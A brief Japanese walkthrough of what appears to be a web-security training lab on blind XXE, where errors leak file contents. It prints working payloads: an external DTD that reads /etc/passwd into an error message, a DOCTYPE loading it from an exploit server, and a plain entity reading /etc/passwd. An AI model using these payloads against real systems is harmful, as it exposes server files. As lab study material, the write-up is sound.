Hello there, ('ω')ノ
ブラインドXXEを利用して、エラーメッセージを介してデータを取得を。
つまり、エラーを出してそのエラーメッセージに取得したいデータを表示させて。
まずは、Check stockを。
fileエンティティにpasswdを読み込ませて。
動的宣言されたexfilのXMLパラメータエンティティを含んだ。
evalと呼ばれるXMLパラメーターエンティティを定義しておいて。
URLクエリ文字列内のファイルエンティティの値を含むHTTPリクエストを。
攻撃者のWebサーバに送信すると評価され。
evalエンティティによって、動的宣言されたexfilエンティティが実行されて。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
下記の外部エンティティ定義でエクスプロイトサーバを。
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://ac311fc21e5ec3ef80a4082f012b006e.web-security-academy.net/exploit"> %xxe;]>
下記のファイルについてのエラーがレスポンスに表示されて。
file:///invalid/etc/passwd
クリアできた。
こんな面倒なことをしなくてもと。
下記で取得しようとするとエラーが出てしまうので。
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Best regards, (^^ゞ